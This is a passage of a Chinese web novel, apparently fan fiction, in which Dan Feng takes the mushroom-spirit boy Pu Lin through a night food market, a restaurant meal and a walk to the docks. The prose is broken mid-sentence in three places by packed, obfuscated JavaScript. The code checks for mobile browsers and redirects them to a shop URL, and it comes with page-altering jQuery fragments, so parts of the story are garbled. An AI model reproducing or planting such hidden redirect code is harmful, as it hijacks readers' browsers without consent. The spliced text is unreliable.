但这次丹枫非常干脆的接过了貘馍卷,并表示这样太不方便了,一晚上能吃到的东西不多。 绝对不是他觉得不习惯。 后来又再三叮嘱蒲霖,如果觉得有吃不完的可以打包回家,少年看了看望不到头的美食街,觉得丹枫的提议很有道理,便呲溜一声窜过去品尝美食了。 望着少年撒欢的背影,龙尊大人默默松了口气。 蒲霖揣着刚买的包子和炸物,手里握着仙人快乐茶,一会吸溜一下杯子里的奶茶,一会嚼嚼木薯珍珠,一会又啃一口雪白绵软的包子,嘴里一刻都没有停下。 “卖琼实鸟串嘞——好吃又酸甜的琼实鸟串——” 蒲霖立刻被对方的吆喝声吸引,他飞快地窜了过去,看着红润晶莹的果实忍不住呲溜了一下口水,“老板!来两串!” 脆脆的糖衣包裹着红色的果物,蒲霖咬开那层薄薄的糖衣,果实酸酸甜甜的,内里绵软外层甜脆,糖衣的渣渣在他的嘴里被嚼的嘎嘣脆。 蒲霖:嚼嚼嚼.jpg 还是蒲霖:好吃,打包! 蒲霖走在人群周心满意足的啃着鸟串,腮帮子鼓鼓囊囊的,鼻尖突然嗅到了一阵奶香味。 蒲霖的美食雷达滴滴的响了。 他拨开人群凑过去,看见透明的玻璃瓶里装着乳白色的液体,瓶口用布料与细绳扎紧,瓶身上还印着Q版的绵羊图案,老板正热心地介绍着美食。 “热浮羊奶!仙舟独有的特产!域外难寻啊——” 蒲霖毫不客气地买了两瓶,正准备接过就听到老板的嘱咐,“客人一定要趁热喝啊,放凉后就会发苦,不好喝喽——” 蒲霖礼貌的回应:“好的,谢谢老板~” 等等,还会发苦? 蒲霖想起那涩口的味道,整张脸都皱成了苦瓜脸,那最好趁热给丹枫。 这样想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765769|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他转头看去,却发现自己似乎窜的太快了,背后的人不知什么时候不见了踪影。 人声鼎沸,光影阑珊,蒲霖顿时对前方尚未探索的区域失去了兴趣,转身踏上来时路。他沿着自己经过的小摊,怀里揣着热乎乎的瓶子,在人群中搜寻丹枫的身影。 交错的气味与人间的繁华反倒成了他的阻碍,它们不再吸引他,蒲霖穿梭在摩肩接踵的人群中,逆流而上。他的目光快速掠过那些擦肩而过的陌生人,无影无形的菌丝悄然游走,为他捎来雪中送炭的信息。 蒲霖似有所觉,蓦然回首。 啊,找到了。 几盏橙黄的灯笼下,他撞上了那双青色的眼眸。 龙尊大人正坐在一旁的供路人歇脚的木椅上,桌子上放着一个大大的保温盒和一个橙黄的中式落地灯。 冷白俊美的面容被染上暖色,模糊光影勾勒出他遗世独立的轮廓,与喧嚣的人潮与烟火泾渭分明,就这么静静地看着人群中窜来窜去的少年。 仿佛早就算准了他会在此时与他对上视线。 “哥哥,这个给你,要趁热喝,不然就不好喝啦。” 少年抱着一大堆食物凯旋而归,他将那些多余的食物都摆到桌子上,从怀里掏出冒着热气的羊奶递给了男人。 他熟稔地接过,当着蒲霖的面揭开瓶口的封盖,轻轻抿了一口。 “是不是很好喝?我之前怕它冷掉还没打开尝呢。” 说着,少年也学着他的样子猛灌了一口,醇厚柔滑的口感在嘴里久久不散,夹杂着浓烈香甜的奶味,没有一点羊的膻腥味。 “咕嘟咕嘟——哈——” 兴许是喝的太猛,玻璃瓶放下后,蒲霖没有发现自己的嘴边多了一圈奶胡子,他砸吧砸吧嘴,还在回味刚刚的甜味。 “真好喝,像以前尝过的蜜糖一样,不愧是仙舟独有的,哥哥你在这等我,我先去唔——”少年兴致勃勃的声音突然停顿了。 柔软的纸巾轻拭过他的唇边,少年自觉闭上了嘴,微微扬起头,虽然他不知道为什么对方突然要擦他的脸,但也没有丝毫挣扎的意思。 丹枫收回伸到蒲霖嘴边的手。 “嘴巴边粘上奶渍了,用吸管喝吧。” 一根未开封的吸管落在了蒲霖的手上,丹枫的神情依旧是淡淡的,他重新坐回桌边,灰绿色的瞳孔里有青色的光芒一闪而逝。 蒲霖眨了眨眼,看了看湿润的瓶口,又看了看手里的吸管,稀奇道,“哥哥,你什么时候拿的吸管?你怎么知道我会喝这个的?” “不久前小摊那里送的,热浮羊奶是甜口的,我想你应当会喜欢,它也是仙舟非常热销的产品,但吸管未必会家家配上。” “炸物的木签子如果用着不方便,可以悄悄地用你的能力抓住它,记得不要用手,不卫生也不好清洗。” 蒲霖笑的像个小甜包,他撕开包装,把吸管插进瓶口,一边吸溜一边点头:“嗯!” 丹枫握着热乎乎的羊奶瓶,热闹的背景下,男人冷漠的气质和画着Q版图案的奶瓶真的相当具有冲击力。 蒲霖的目光落到他的手上,莫名觉得那里应该握着什么精致的酒杯,里面盛满陈酿的美酒才对。 对方注意到他的视线,有些疑惑地掀起眼帘,“怎么了?如果玩累了就过来休息,我会一直在这里等你。” 蒲霖回神,他笑着摆了摆手,“嗯!那我去玩喽。” 说着,又灵活地窜进了人群。 这么一大圈逛下来,蒲霖的嘴里基本是停不下来了,他漫步在大街小巷,嘴里吸溜着饮品,突然闻到一阵熟悉的香味。 “翻炒煸炸饕餮宴,功夫尽在尚滋味——” 尚滋味主厨燕翠正站在自家饭店门口,露天的餐椅上已经坐满了顾客,她擦了擦头上忙碌的汗水,生意太好,难得能喘口气,正准备去一旁休息一下。 抬眼的瞬间,女人就看见一个陌生的少年正站在不远处好奇地仰头看着什么,她想了想,热情好客的性格还是让她走了过去。 “你好——请问客人需要什么吗?” 蒲霖正抬头看着头顶上高高挂起的招牌,突然传来的女声吓的他微微一惊,猛地转头看去,一位打扮很像店员的人正朝他走来。 看到对方发间那对熟悉的尖耳朵,蒲霖的眼睛微微一亮,虽然还不认识对方,但下意识地就对她产生了亲近感。 19.第 19 章 “你好,可以问一下什么东西这么香吗?”蒲霖吸溜了一声口水,小心翼翼地问道。 “哎?当然可以,欢迎光临敝店,这个味道......”女人嗅了嗅空中蔓延的香气,沉吟片刻,“是糖球炒视肉,这是本店怪味星期四特有的食品哦!” “视肉?” 蒲霖莫名觉得这个名字好像在哪里提听到过。 “没错!糖球炒视肉就是由我击败的天外怪物烹饪而成,我的信条就是,只吃有资格与自己生死对决的动物!客官要不要来一份尝尝?” 女人摩拳擦掌,似乎已经准备大炒特炒。 蒲霖被她的信条吸引了,空中弥漫的香气也是他从未闻到过的,便认真地点了点头,女人就立刻给他找了一个角落的位置。 上一位客人刚走,桌子早就擦的干干净净准备迎接下一位客人。 蒲霖跟着她的步子到桌边坐下,不一会,新出炉的菜式就端上桌了。 这是个眼生的客人,是以燕翠离开前还不忘嘱咐一番,“客官慢用!我叫燕翠,是这里的大厨兼掌柜,有什么需要叫我的名字就好!” 蒲霖乖巧跟她摆了摆爪子。 他的视线回到面前的菜肴上。 视肉与色泽鲜艳的五花肉类似,辅以绿色蔬菜作为菜肴底层的摆盘,一滩鼓鼓囊囊的、呈现不明紫色、似乎还在冒泡的液体被盖在了摆盘上,糖球被粘稠的液体包裹,偏生还露出一点点黑色,乍看之下就像长的无数只眼睛的小怪物爬在面前。 “.......” 好、好有挑战。 可是好香啊。 从来没见过这种奇葩食物的蘑菇握着筷子咽了咽口水。 最终还是食欲战胜了视觉,他颤巍巍地伸出筷子,夹住一块沾满紫色的“泥巴”的肉,小心翼翼地送入口中。 “!” 蘑菇的眼睛咻的一下亮了。 怎么会这么好吃!!! 倒不是说之前吃的藕糕小食不好吃的意思,只是他总感觉这个肉似乎更加...... 蘑菇试图找到准确的词汇来形容。 更加的合他胃口。 味蕾对这个奇特外表的食物表达了极大的欢迎,那种仿佛心灵都被滋润的感觉,就像他好久之前吃掉那些丰饶孽物一样。 ...... 等会,丰饶孽物? 蘑菇恍然,他想起来是在哪里听到过这个名字了。 那时丹枫正在给他系统性地介绍仙舟巡猎的目标——丰饶孽物的资料,结合图片一个个讲给他听:“丰饶孽物主要有这么几个种类,步离人、慧骃、造翼者、视肉、岁阳、虺裔。后三种现在基本已经很少出现在丰饶联军中,岁阳是无根无形的能量体生物,被腾骁抓捕关进朱明仙舟作为燃料使用。而视肉是一种胶状原虫,岱與仙舟为阻断其侵蚀而主动殉爆,多年来已经被云骑军铲除......” “......” 蒲霖看着筷子上滑嫩弹口的肉,陷入了诡异的沉默。 视肉真的是被杀光,而不是被吃绝的吗...... 仙舟人,恐怖如斯! 不过......少年又夹了块放到嘴里嚼嚼嚼,这味道确实好吃,不愧是丰饶孽物,连烧好的味道都这么独特。 吃到一半,蒲霖翻了翻桌子上的菜单,在仙舟上吃到正儿八经烹饪好的孽物后,他仿佛打开了新世界的大门。掠过脆瓜胡辣鸡丁、鲫香肉丝、陈婆豆腐、九九九手打肉丸、蒜苗五花肉、招牌红油乱战牛杂等一大堆正常的菜名,又惊喜地发现一道特殊的菜式:果木炙烤夏塔恩恐鸟翅根。 他被上面炙烤的色泽吸引,又不舍地看了看前面的一长串,菜名多的让他眼花缭乱,实在是不知道该点哪几个。 既然难以抉择,蘑菇沉思片刻,又看了看自己的账户,决定奢侈一把。 “燕老板——”蒲霖努力拉长声线,“菜单上的菜可以都来一份吗?” 都来一份? 燕翠差点怀疑自己幻听了,她忙完另一个客人的餐点,擦了擦手就赶忙赶过来,“客官,确定要都来一份吗?要不先上几个尝尝好不好吃?若是合胃口再上后面的菜,如何?” “好呀,就是我胃口有点大,几个菜可能吃不饱......”蘑菇不好意思地摸了摸鼻子。 “没事,那我先上几道,客官要是没吃饱就继续上,直到您吃饱为止,怎么样?” 左右都能吃到,只是时间问题,早上万一凉了就不好了。 于是蘑菇没有再坚持,他默默地点头。 燕翠擦了擦围裙,确保手里没有汗渍后拿出单子划了划,做好标记后立刻就去准备食材了。 期间蒲霖低头用手机给丹枫发了个消息,交代完自己在尚滋味后,略有生疏地把自己的定位一同发给了对方。 丹枫没回,但蒲霖知道他看见了。 然后蒲霖就看到老板推着个小台子过来了。 蒲霖坐在桌子边:“......?” “这第一道菜,叫做招牌红油乱战牛杂。” 燕翠抽出了几把铮亮的大刀,砰的一声插到案板上,凛冽的刀光闪过,刀面折射出蒲霖的倒影,他看见自己嘴唇微张,一脸茫然的样子。 是他点的太多了吗,都让老板要到他面前烧菜了...... 没等蒲霖脑补完,他看见女人拿出一份新鲜的牛杂,放在案板上开始展示她的刀法,菜刀挥舞又落下,笨重的大刀在她的操控下变得像灵活的蝴蝶一样。 在看似凌乱的刀法下,牛杂被切的整整齐齐,条理分明。此刻红油也慢慢出锅,牛杂整体都被浸泡在其中,盛到他面前的时候还是油亮亮的,浓郁的香味直往鼻腔里钻。 黄石牛碎肉与内脏调和,加了赤云辣椒酱提香,满满的一大碗。 “客官,请用——” 一碗热腾腾的牛杂就这样端到了他的面前。 看起来可以吃了。 蒲霖小心地夹了一筷子吹凉,送入口中。 蒲霖:“......” 燕翠面露期待,“怎么样客官,味道如何?” 下一秒,少年的眼睛猛地滋出水花。 泪水哗啦啦地从眼眶里溢出,蒲霖白皙的脸颊以肉眼可见的速度开始变红,最明显的就是偏浅的唇瓣像涂了口红似的变成了艳红,连带着眼尾也抹开了一大片赤色。 蒲霖:TvT “!” 燕翠吓了一跳,她没想到这位客人这么不能吃辣,连忙倒了一大杯温水递过去,“真的非常抱歉!快喝杯水,看看能不能缓解一下辣味。” 蒲霖任由眼泪簌簌流下,他接过温水,哪怕舌头已经被辣的说不出话了,还是顽强地表达自己的态度,“嘶......我没事,好吃!” 吸饱了汤汁后,柔韧和脆爽一并在口腔炸开...... 不行,斯哈斯哈,他想不下去了,斯哈,喉咙和嘴巴里怎么有东西在咬他。 蒲霖正准备拿起手边的水一口闷了,突然被止住了动作。 冰冷的大掌握住他的手腕,一瓶温热的羊奶出现在他面前,瓶口已经被事先打开,朝他通红的嘴巴倾斜过来。耳边传来熟悉的声音,“含着,不要咽下去。” 蒲霖脑子被辣懵了还没反应过来,嘴巴已经下意识凑过去接快要掉出来的羊奶,估摸着差不多了,不等他躲开,瓶子已经自动挪开了。 蒲霖含着羊奶困惑抬头:“唔?” 熟悉的身影出现在一旁,丹枫握着羊奶,站在桌边目光沉静地看着他。 蒲霖:“!唔唔!”哥哥! “一开始可能会不怎么舒服,但忍过去就好了,直到不辣了就可以吞下去。” 蒲霖点头:“唔!”明白! 燕翠看着这位不知道从哪里冒出来的客人,似乎与这位少年是同伴,便也热情地邀请对方坐下一起用餐。 丹枫便顺势在他的身边落座。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768994|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒲霖含着羊奶,觉得差不多了,他一口咽下后果然没有那股,一副得救了的表情。 “是不是太辣了?怪我,没有提前问清楚您对辣的接受程度,是我的疏忽。这道菜我立刻给您退掉,并且为您换一份今天的其他特色菜品,必然不会放任何辣椒!” 燕翠懊恼,她非常看重客人的需求与感受,这次忘了问客人能适应的辣度问题绝对是她职业生涯的耻辱。 “没事没事,不是老板的问题,是我自己吃的太大口了,牛杂真的很好吃,不用换掉,我很喜欢,只是我从来没有吃过辣,会有点不适应。” 蒲霖摸了摸鼻尖,声音也低了不少,他觉得自己可能给老板添麻烦了。 “......我明白了,我查看了您的菜单,发现后面还有不少带辣味的菜,如果您觉得受到影响,我们可以直接取消这些未制作的菜品,或者最大限度的降低辣度,确保您能舒适的享用。” “......”少年犹豫片刻道,“那还是降低一下辣度吧......” “没问题,”燕翠刷刷刷的在菜单上划了什么,“请客人稍等!” 过了一会儿,很快她就端上了一盆不知名兽肉碾成的肉泥,热情介绍道,“这是第二道菜,叫做九九九手打肉丸!没有任何辣度的哦。” 随后表示自己一定要当着他的面捶打九百九十九次才行。 ......? 因为名字叫九九九,所以就要捶打九百九十九次? 蒲霖差点怀疑自己的尖耳朵捏的不对,影响了听觉。 但无论他怎么阻止,燕翠都坚定地表示这是她们尚滋味的传统,是绝对不可以悖逆的。 好吧。 蒲霖只好乖乖坐在位置上等吃的。 女人挽起袖口,目露凶光,仿佛面前的肉泥是她此生不共戴天的仇家似的。 我打我打我打我打我打我打...... 曾服役于云骑的力道在此刻彰显无遗,她手上的动作甚至快出了残影,身上也燃起了某种无形却炽热的火焰,看得旁人叹为观止。 趁着老板表演捶打的时间,蒲霖的目光忍不住落在了那道牛杂身上。 他长记性了,虽然被辣的很惨,牛杂的美味依旧让他念念不忘。 于是试探地夹一小筷子嚼嚼,一旦察觉不对就立刻含羊奶,觉得好了就再夹,这么一来一回居然真的让他品出了那种辣特有的鲜美,就是容易忍不住生理性的反应。 蒲霖顶着个热气腾腾的大红脸,用公筷给丹枫也夹了一筷子,他动了动艳红的唇瓣,“哥哥,你尝尝这个,真的很好吃,只吃一点就不会那么辣啦......对了,你怎么突然过来啦?” 丹枫没有拒绝,他拿了一双新的筷子,闻言淡声道,“收到你的消息,就过来看看。” 蒲霖噢了一声,看着丹枫慢条斯理地吃下那筷子牛杂。他纤长的眼睫微垂,细细咀嚼过后,喉结便随着吞咽轻微滚动,面色不变,仪态从容。 少年歪着脑袋,找不到合适的词语形容,只觉得眼前的景象还挺赏心悦目的。 第二道菜也很快做好了,蒲霖小心地看了一圈,发现没有红艳艳的颜色后悄悄松了一口气。 他放心地夹起肉丸子,学着丹枫的样子尽量避免汤汁溅到衣服和脸上,然后咬了一口,顿时惊为天丸。 柔韧的外皮相当有劲道,嚼起来清脆弹牙,断口处可以清晰地看见兽肉紧实的肌肉纹理,内里还含着一汪浅浅的汤汁。经过高火烹饪,油亮亮的吸足了食材的鲜味,整体一口咬下去有种爆汁的新奇口感。 店长捶打的力道真的非常到位,他都快要变成肉食动物了。 蒲霖夹了一个又一个,他满足地眯起眼睛,嘴唇上不可避免地沾上了晶亮的油汁,白皙的腮帮子鼓鼓囊囊的,一动一动的像个囤粮的小松鼠。 丹枫食欲不强,便在一旁看他一个人库库狂炫了。不过这般观赏下来,偶尔也会觉得唇齿生津,便执筷浅尝一番。 20.第 20 章 一道道菜上桌,蒲霖解决的速度也非常快,让餐桌上的盘子都维持在一个稳定的数量,不至于放不下新上的菜肴。 终于到了他最期待的恐鸟翅,一根足有他小臂粗的大翅膀呈Z字形摆放在盘子里,边上还塞了解腻的柠檬片与生菜,果木的清香夹杂着鸟肉炙烤的油香扑面而来。 他用筷子小心翼翼地分开焦香的表皮,肌理分明的雪白鸟肉松散地露了出来,油润柔滑的肉片散发着更加诱人的清香。 “啊呜——” 蒲霖嚼嚼嚼,这道菜果然没有辜负他的期待。 鸟肉软烂的都不用多嚼就滑下了喉咙,蘑菇觉得自己幸福得可以原地起飞了。 美食在前,饮料在侧,蒲霖觉得今天大概是他过的最快乐的一天。 恐鸟翅的肉软烂,但炖煮入味的骨头也有吮吸的价值。 在啃骨头的过程中,嘴边不免会沾到些许汤汁,如果风干了就会黏糊糊的非常不舒服。 好在他有透明的菌丝可以隔开,不用担心这些。 嘴巴里有点油腻,蒲霖下意识想要吸溜一下手边的羊奶瓶中的吸管,乳白的羊奶快速涌入口中。 嗯? 蒲霖有些奇怪,怎么突然这么好吸了?他记得上一口可是费了老大力才吸上来的。 他松开嘴巴,歪头观察了一下透明的瓶身。 满满一瓶,唯独少了他刚刚吸的那一口。 “......” 答案呼之欲出。 少年的额头被热乎乎的食物烫出了一点细汗,鼻尖上带着些许薄红,他有些迟钝地看向身边人。 对方低着头,在手机上浏览着什么,时不时用指尖敲击屏幕,眉头微蹙,似乎遇到了什么难题。 丹枫敏锐地注意到了他的视线,略带询问地看了过来。 “......没什么啦。” 蒲霖笑眯眯地凑过去,像小动物似的用自己干净的侧脸蹭了蹭对方的脸。 他一边嚼着鸟肉,一边慢吞吞地想,丹枫果然还是和小时候一样可爱嘛。 * 燕翠发现自己低估这位年轻人了。 源源不断有新的菜肴端上桌,却始终有多余的位置来摆放,抛却那些辣味的,菜单上的菜都要到尾声了,还不见少年有任何吃饱的样子。 一直都是那种享受的表情,不敢想象他小小的一个人是怎么吃下这么多食物的。 甚至他的同伴还没怎么动筷子! 一旁来来往往的食客也发现了这位稀奇的客人。 但碍于对方身边人在飕飕地放冷气,也没什么人敢围观太久,在他们若有若无飘来的震撼目光下,蘑菇心满意足地把尚滋味的菜单吃了个遍。 甚至还有些意犹未尽。 因为之前的小插曲,即使对方通情达理,于情于理,燕翠都觉得自己不能什么都不做。 加上蒲霖又是难得的大客户,她也看出了蒲霖对于异兽肉类的喜爱,最后便免费送了一大份新研制的菜肴——油爆飞海葵。 油爆飞海葵的肉是鲜红色,且外皮还有一圈一圈的金色小斑点,金黄软糯的土豆夹杂其中,表层还洒了大片的葱花圈。 天外怪物飞海葵据说长达三十米,以海船为食,没人能想象这位燕老板是怎么捕捉到的。 油爆飞海葵是她自己研发出的菜肴,因为体积过于庞大,肉源又不能稳定供应,她干脆就叫上长乐天的老邻居们一起吃了三天三夜,结果都没有吃完。 炒制好的菜肴不宜放置太久,燕翠正发愁剩下的是不是要浪费的时候,正巧遇到了食量惊人的客人。这必然不会成为累赘,干脆顺水推舟当礼物送给对方了。 果不其然,这份菜分好几次端上桌后,也被对方眼神亮亮地解决了,完全没有浪费。 除了这道菜以外,她还送了对方不少划算的优惠券,是可以享受到最大折扣的那种。 顾客吃的开心,那就是对燕翠这种一板一眼做菜的主厨最好的报酬。 没有喜爱做菜的主厨会不喜欢这样捧场的客人。她更是只觉相逢恨晚。在客人离开前,她与对方加了个好友,表示以后如果出了什么新品一定第一时间联系他。 蒲霖当然也喜滋滋地答应了。 今天蘑菇收获了他的第二位联系列表里的好友。 当他吃完这家店的时候,人流还是不减,夜色渐深。 蒲霖走在最前方,吸溜着之前没喝完的仙人快乐茶,腰腹没有丝毫隆起,仿佛吃了个空气似的。 他情不自禁感叹道,“这里的人类都好热情,氛围和我们以前呆的地方一点都不一样,这就是烟火气的意思吗,好想天天都来吃啊......” “罗浮以美食出名的洞天繁多,金人巷只是最有文化底蕴的招牌,你若喜欢,日后有足够的时间,诸般滋味皆可尝遍。” “真的吗?好耶~” 一路漫无目的闲逛,两人来到了金人巷码头。 码头的广告牌上写着“鹤运物流,啥都能寄”八个大字。 无数机巧制造的鹤鸟在空中穿梭,蒲霖好奇地凑到码头边低头一看。 入目的是一眼望不到底的云海。 他根本看不见下面的陆地,蘑菇看得头皮发麻,嗖的一声把头缩了回去。 一艘艘星槎尾部喷出淡蓝色的火焰,外形呈流线型,玦轮悄无声息地提供动力。 不断放缓速度像八爪螃蟹一样横着与码头对接,货物被堆在星槎前半截,对接成功后,长着狐狸耳朵和尾巴的工人立刻上前卸下货物,轻了不少的星槎又缓缓横向驶离码头。 这些星槎和蒲霖之前坐的完全不一样。 “这是专门民用的货运星槎,战场上的是战斗专用的斗舰,我们之前坐的则是专门载人的星槎。不过无论哪种,都是以玦轮引擎和反重力原理为动力,由金属和生物材料,以及带有遗传信息的玉兆种出来的。简而言之,星槎是通过DNA合成技术人工编辑诞生的。” 丹枫见蒲霖停在原地,仰着脑袋盯着那些来来往往的星槎不放,就知道他在疑惑什么了,他声音淡淡地解释道,听起来相当专业。 蘑菇没有完全听懂,但蘑菇表示尊重并理解:“嗯!” “如果情况非常紧急,一些有特殊能力的人也会凭借自己的能力到达目的地,对于他们来说,星槎也不是必需的交通工具。” 这里蒲霖听懂了,他小声补充道,“就像之前那样吗?” 似乎是怕人听见他们的聊天内容,少年踮脚靠得很近,声音也压得很低,他细长的手指在空气中比划着那天的场景: “你嗖的一声就到了一个我不认识的地方,然后又嗖的一声飞到很高的空中,结束了又嗖的一声把我带了下来。” “......” 丹枫抱着手臂凝视他片刻,热乎乎的声音喷洒在他的尖耳朵上,弄得他耳尖痒痒的。 他眼睫轻颤,有些不适应地躲了躲耳朵,学着蘑菇的样子也小声道,“没错,就是那样。” “噢——那是什么术法,好厉害!” 蒲霖的眼睛都变成了星星眼。当时情况太紧急了,他根本没有心思去想这个问题。 本想着下战场再聊,结果万万没想到他先晕过去了,醒来又要见将军,完了又马不停蹄地来到了金人巷。 这件事早就被他抛之脑后了,直到现在才记起来。 “是云吟术,持明族生来就会的术法,蘑菇学不了。” 丹枫没有打击蒲霖的意思,但事实就是如此。 云吟术就像他们持明的血脉一样,永不断绝,但也永不外传,唯一的区别就在于每个人练习的天赋。 “哦——” 闻言,蘑菇小小的惋惜了一下。 对于蒲霖而言,他还是更喜欢用与生俱来的菌丝和孢子,对于云吟术也就是好奇占了大多。 “不过......怎么又是云吟术?” 他这个时候脑筋转的很快,掰着手指一一数道,“隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776981|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身、水力发电、治疗、瞬移、攻击、洗澡、游泳......” “应该没有漏的了,云吟术也太全能了,简直是居家旅游必备!除了这些,它还有能做到的事情吗?” 丹枫眉梢微挑,眼瞳中倒映出蒲霖认真询问的眼神,倒是想起持明族那群的老古董。 他们自认高贵的不朽后裔,云吟术则是持明族的身份象征,他还是第一次听到把它当成旅行必备的说法。 他干脆也顺着蒲霖的思路,一本正经道,“星际有种流行的扭蛋玩具,我先前了解过它的构造,以云吟之术驭水进行冲击,聆听水流在扭蛋中的回响与时间,可以勾勒出玩具的外形。” 他半点不提他堂堂一个持明龙尊去了解这种玩具做什么。 蒲霖也没有察觉到半点不对。 “还能这样?哇——拜见扭蛋大师!扭蛋大师万岁!我以后玩扭蛋一定要叫上你一起!”少年眼中仿佛有星星,背后仿佛长了一条甩成了螺旋桨的大尾巴,咻的一下就能上天。 蘑菇听不懂这些高深的原理,但他不明觉厉。 丹枫的唇角极淡地牵起,只是涟漪未起便散,很快就恢复了古井无波的模样。 还没过去多久,蒲霖那天马行空的注意力已经不在扭蛋上了。 他被一旁的运输货物吸引住了。 蒲霖歪头看着码头边堆放的货物,它们堆的极高,都是物流运输过来的,他的视线一一扫过:花盆、石狮子、长椅、路灯...... 等等,石狮子?路灯? 为什么需要网购这些?! 蒲霖不理解,蒲霖大为震撼。 而且这些货物都这么旁若无人地堆放在路边......蘑菇转了转脑袋,确实没有看见看守人。 难道不会有人顺手牵羊吗?还是说仙舟人的素质都非常高吗?蒲霖是这么想的,自然也就这么问出了口。 “不会,与他们素质无关。” 丹枫在他身后充当了一天的万事知,戳一下就冒出一句回答。 “为什么?难道这里有我看不见的人在监视?我怎么完全没看见?”蘑菇好奇地反问,左顾右盼,突然看到丹枫的目光瞥向了不远处的机巧鸟。 蓝白相间的机械大鸟收敛着翅膀,停留在专门搭建的高架子上。 它的脖颈修长,明明没有安装智能交流系统,那占据了半个脑袋大小的死鱼眼此刻却拼命瞪大,似乎在死死地瞪着他们。 行踪可疑的两人:“......” 机巧鸟:I am watching you. 蘑菇:“......” 被那只鸟这样看着,蒲霖有种说不上来的心虚感,他赶紧拉着丹枫一起远离了这里。 没了那只鸟的死亡凝视,蒲霖悄悄松了口气。 他松开丹枫的衣角,抬头便看到那些从路人头顶飞过的机巧鸟们,距离那些人的脑袋不过四五米高,脚下甚至还抓着比它本身都要大好多的货物...... 蘑菇盯着那些一看就沉甸甸的箱子,下意识缩了缩脖子,犹豫片刻,还是凑到身边人身边,对方也早有预料地偏下脑袋。 “哥哥,你说那些机巧鸟......”蒲霖指了指头顶上的技巧鸟,一脸犹疑与不信任,又怕它们听到,像说悄悄话似的,把手遮掩在嘴边,小声嘀咕, “那东西这么大,它们的爪子真的不会滑吗?万一下面刚好有人经过......呃......” “......” 龙尊大人的表情空白了一瞬。 “根据常理推断,为了保证物流的名誉与安全性,工造司出品的机巧鸟采用了仙舟最先进的技术,线路材质也是最优良的,即使真的出了茬子,也会有物流安全系统接管它们的身体......” 说着说着,丹枫的语气也出现了可疑的停顿。 两人的心里想法此刻难得统一了。 应该、大概、也许、可能,不会有人那么倒霉吧?! 21.第 21 章 两个人在金人巷逛了好久,这个洞天的容量相当大,除了耳熟能详的美食之外,蒲霖也在一些杂货铺买了不少新奇的玩意。 比如有蛋白的口感与润泽,还富含蛋白质的蛋白米——他为什么要买米?不可以内服的玉髓风骨散——来都来了,那买个药也不奇怪;木质的斗舰福牌——据说能求取吉祥...... 还有足有一人高的稻穗、木制的拂尘、玉兆单元等乱七八糟的杂物,但在他看来都相当新奇。 除了以上奇形怪状的东西,蘑菇还买了不少燕子风筝,纸扎老虎,手持风车等好多好多小玩意,都是些深受幼崽喜爱的物品。 蒲霖早就拥有了独立的房间,他抱着那些小玩意一边走,一边美滋滋地和丹枫畅想未来,“这个风车我要插在窗台上,小燕子风筝要摆在床头柜上,小老虎要放在书架里......” 丹枫也不打断他,只是垂下眼睫静静听着,雪色的衣摆与墨黑的袖口时不时交错。霜白的月光洒向大地,把两人摇曳的倒影拉的无比绵长,不分你我。 时间已经很晚了,蒲霖也不需要催,在丹枫说了声时间差不多后,就噢了一声,乖乖地跟在他身后踏上了回家的路。 蘑菇看着前面人纤长的影子,无师自通地玩起了踩影子的游戏。 有时会踩中,有时也会被躲开,蒲霖玩的不亦乐乎。 就这样一路踩到了码头,星槎早就在码头等着他们了,坐上回家的星槎后,蘑菇懒洋洋地打了个哈欠。 分明眼皮都打架打个不停,还抱着自己心爱的小玩意死活不愿睡去,活像怕谁趁他睡觉抢他的宝贝似的。 “困了就先睡吧,等到了我会叫你的,那些零零碎碎的东西都可以给我收起来。” 丹枫朝小鸡啄米的蘑菇伸出手。 在蒲霖的耳朵里,丹枫的声音云里雾里的,像裹了团浓重的雾霾,只听到零碎的“睡”“给我”。 蒲霖也不管有没有听清,迷迷糊糊地就把手里宝贝的不行的东西都给他了。 然后当着他的面,那些零零碎碎的东西都消失了。 消、失、了! “嗯?!” 蘑菇猛地一激灵,霎时间什么困意都飞走了。圆溜溜的金眸睁得老大,他看着对方空荡荡的手心,四处探头搜寻半天,甚至还凑上前试图扒拉男人的衣袖,看看他是不是藏在袖子里了。 丹枫好脾气地任他翻翻找找,半响才慢条斯理地点了点身上一个不起眼的装饰,轻声开口。 “一种空间折叠装置,里面可以容纳一个小型的房间,仙舟联盟专攻洞天技术,这种小型的产品在其他星球就有所推广,这里更为常见。” “噢...这样啊,不是消失了就好。” 蒲霖松了口气,若是放在平时肯定会扒着他问东问西,但今天变成人玩了一天的蘑菇实在太困了,没有精力去追问下去。 知道自己精心挑选的东西不是凭空消失了,而是被好好地收进一个安全的地方后,蒲霖就彻底放心了。 松懈的精神猛地绷紧又松懈的结果就是—— 